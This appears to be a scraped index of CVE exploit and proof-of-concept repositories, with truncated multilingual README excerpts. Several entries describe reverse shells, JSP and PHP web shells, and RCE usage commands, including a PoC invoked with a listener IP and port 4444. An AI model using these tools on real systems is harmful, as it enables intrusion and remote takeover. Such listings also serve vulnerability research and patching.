CVE-2024-29050

CVE-2024-29050 CVE-2024-29050 は、Windows の暗号化サービス、特に暗号化操作中に証明書が処理される方法におけるセキュリティ脆弱性です。この問題は、ファイルサイズやバッファ長などのデータに関する計算が変数の許容上限を超え、システムがメモリを誤計算または誤管理する原因となる整数オーバーフローに起因します。...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Exploitation 弱い暗号化による無制限ファイルアップロード - 影響を受けるバージョン CVE-2017-11317 2. 安全でない逆シリアル化によるリモートコード実行 - CVE-2019-18935...

CVE-2021-24884

CVE-2021-24884 Formidable 4.09.04中的XSS2RCE Formidable 4.09.04...

CVE-2022-2274

OpenSSL-src の RSA 秘密鍵操作におけるヒープメモリ破壊 : CVE-2022-2274 概要 OpenSSL-src-rust は、Rust で記述され、クレートとしてパッケージ化された、OpenSSL をソースからビルドするためのソースコードとロジックです。現在、メンテナンスされている OpenSSL のバージョン に対応する2つのメンテナンスブランチがあります。main は OpenSSL 3.0 をビルドし、release/111 は OpenSSL 1.1.1 をビルドします。 OpenSSL 3.0.4 リリースでは、AVX512IFMA 命令をサポートする...

CVE-2023-50780

CVE-2023-50780: Jolokia API를 통해 Apache ActiveMQ Artemis에서 접근 가능한 위험한 MBeans http://127.0.0.1:8161/console/jolokia에서 Jolokia API가 노출하는 MBeans를 나열하고 검사함으로써 다음과 같은 공격 벡터가 식별되었습니다: Log4J를 사용한 임의 파일 쓰기로 간접적인 원격 코드 실행RCE 초래 Log4J를 사용한 임의 파일 읽기 Artemis Broker MBeans를 사용한 DoS 이 취약점은 Artemis 웹 인터페이스에서 사용되...

CVE-2022-3552

CVE-2022-3552 BoxBlilling의 취약점을 악용하기 위해서는 버전이 "BoxBilling=4.22.1.5"여야 하며 유효한 관리자 자격 증명 이 필요합니다. 위의 조건을 충족한다면, RCE를 얻기 위해 다음 단계를 따라야 합니다. 파이썬 가상 환경을 생성하세요 Linux root@kitploit: python3 -m venv .venv root@kitploit: source .venv/bin/activate 이제 pwntools 라이브러리를 설치하세요 root@kitploit: pip3 install pwntoo...

struts2-jakarta-inject

CVE-2017-5638 の POC エクスプロイト このエクスプロイトは、自分が所有するシステム、または明示的なテスト権限があるシステムでのみ使用してください インストール Go がすでにインストールされている場合、go get を使用するのがよいでしょう。 go get github.com/Greynad/struts2-jakarta-inject 使用法 単一コマンドの実行 struts2-jakarta-inject -u -c 'id' 疑似対話型シェル struts2-jakarta-inject -u -i...

CVE-2025-50472

CVE-2025-50472 ModelScope Ms-Swift ModelFileSystemCache 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점 RCE PoC 테스트 목적으로 악성 .mdl 파일이 포함된 코드 저장소를 ModelScope에 업로드했습니다. 테스트 중에 직접 사용할 수 있습니다. 링크는 다음과 같습니다: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files .mdl 파일에는 악성 코드가 포함되어 있지만 ModelScope에는 보안...

-CVE-2024-45352

🚨 CVE-2024-45352 – Xiaomi 스마트홈 원격 코드 실행 RCE 📌 요약 Xiaomi 스마트홈 애플리케이션에서 심각한 취약점CVE-2024-45352이 발견되었습니다. 내부 API 파서의 부적절한 입력 처리로 인해 인증되지 않은 원격 코드 실행RCE이 가능합니다. 이 취약점은 로컬 네트워크 상의 공격자가 영향을 받는 시스템에서 임의의 명령을 실행할 수 있게 합니다. 🛡️ CVE ID CVE: CVE-2024-45352 CVSS 추정: 8.8 높음 벡터: 네트워크 공격 복잡성: 낮음 필요 권한: 없음 사용자 상호작용...

CVE-2022-24087

CVE-2022-24086-RCE 및 CVE-2022-24086-RCE CVE 설명 CVE-2022-24086 및 CVE-2022-24087 - Magento Open Source 및 Adobe Commerce의 연락처 양식에서 부적절한 입력 검증 취약점 - CVSS 점수 9.8/10을 받았으며, 사전 인증 문제로 분류되어 자격 증명 없이 악용될 수 있습니다. 취약한 버전: Magento Open Source / Adobe Commerce - 2.3.3-p1 - 2.3.4 Magento Open Source / Adobe...

CVE-2017-0541

poc and vulnerability analysis of CVE-2017-0541...

jboss-autopwn-1

jboss-autopwn BlackHat Europe 2010에서 소개된 JBoss Autopwn - 이 버전은 Minded Security가 발견한 JBoss 인증 우회 VERB 조작 취약점CVE-2010-0738을 포함합니다. C. Papathanasiou 2010 소개 이 JBoss 스크립트는 대상 JBoss AS 서버에 JSP 쉘을 배포합니다. 배포 후, 스크립트는 업로드 및 명령 실행 기능을 사용하여 대화형 세션을 제공합니다. 기능은 다음과 같습니다: 멀티플랫폼 지원 - Windows, Linux, Mac 대상에서 테...

SQLPad-RCE-Exploit-CVE-2022-0944

작동 방식: 이 PHP 코드는 SQLPad 의 원격 코드 실행RCE 취약점CVE-2022-0944을 악용하도록 설계되었습니다. 악성 코드를 SQLPad 애플리케이션에 주입하여 시스템 명령을 실행하도록 강제함으로써 공격자가 취약한 시스템을 원격으로 제어할 수 있는 리버스 셸 연결을 만듭니다. 사전 요구 사항: PHP CLI – sudo apt-get install php-cli cURL PHP cURL library – sudo apt-get install php-curl 사용법: 1. 리스너 설정 공격자 머신에서 리버스 셸...

CVE-2024-21534-poc

취약점: CVE-2024-21534 심각도: 치명적 CVSS 점수: 9.8 설명: jsonpath-plus 패키지버전 = 10.0.7는 Node.js의 VM 모듈을 통해 공격자가 임의의 코드를 실행할 수 있는 원격 코드 실행RCE 취약점에 취약합니다. 이 취약점은 불충분한 입력 검증으로 인해 발생하며 버전 10.0.7 이하에 영향을 미칩니다. 영향: 이 취약점을 성공적으로 악용하면 영향을 받는 시스템이 완전히 손상될 수 있습니다. 완화 조치: 1. jsonpath-plus 업그레이드: 버전 10.0.8 이상으로 업데이트하세요...

Zoom-dll-hijacking

Zoom-dll-hijacking Zoom 미팅 5.1.3의 DLL 하이재킹 취약점 영향을 받는 Windows 버전 Windows 7 이하 Windows Server 2008 SHCore.dll이 없는 다른 Windows 시스템 사용법 dbghelper.dll 및 SHCore.dll을 다음 위치에 복사하세요 C:\Users$user\AppData\Roaming\Zoom\bin\ Zoom 애플리케이션을 시작하거나 Zoom 미팅 내에서 카메라를 켜거나 끄는 등의 활동을 하세요. 참고 : Visual Studio에서 shcore...

Prestashop-CVE-2024-34716

CSRF 및 리버스 셸 공격용 익스플로잇 스크립트 이 스크립트는 CSRF사이트 간 요청 위조 익스플로잇을 자동화하여 대상 웹 서버에 PHP 리버스 셸을 업로드하고 실행합니다. 리버스 셸은 조작된 CSRF 페이로드를 통해 ZIP 파일로 전달되며, 이는 권한 있는 사용자가 특정 엔드포인트와 상호작용할 때 트리거됩니다. 스크립트가 리버스 셸 연결을 캡처하려면 리스닝 중인 Netcat 인스턴스가 필요합니다. 현재 깨진 것 같습니다. 나중에 업데이트하겠습니다. 요구 사항 Netcat : Netcat이 설치되어 있고 지정된 포트기본값:...

CVE-2023-6019

Python POC는 Authors POC에서 파생됨 사용법 python3 CVE-2023-6019.py -t 192.168.191.37 -p 9000 -l 192.168.45.xxx -lp 4444...

CVE-2023-33538-msf

CVE-2023-33538 – TP-Link TL-WR940N/841N 명령 주입 Metasploit 모듈 이 Metasploit 보조 모듈 은 TP-Link TL-WR940N V2/V4 및 TL-WR841N V8/V10 라우터의 인증된 명령 주입 취약점 을 대상으로 합니다. 문제는 WlanNetworkRpm.htm에서 사용되는 취약한 ssid1 매개변수에 있으며, 이를 통해 임의의 셸 명령을 주입할 수 있습니다. 성공 시, 공격자는 장치에서 임의의 명령을 실행할 수 있습니다. CVE에 대한 자세한 정보:...

CVE-2019-11043_env

CVE-2019-11043env CLion用リモートデバッグ環境...

CVE-2026-82544

A cross-site request forgery (CSRF) vulnerability exists in wger-project wger up to version 2.6.0-alpha2 , specifically in the reset_user_password function within the Password Reset component (wger/gym/views/gym.py). A remote attacker can exploit this by manipulating a victim into performing an u...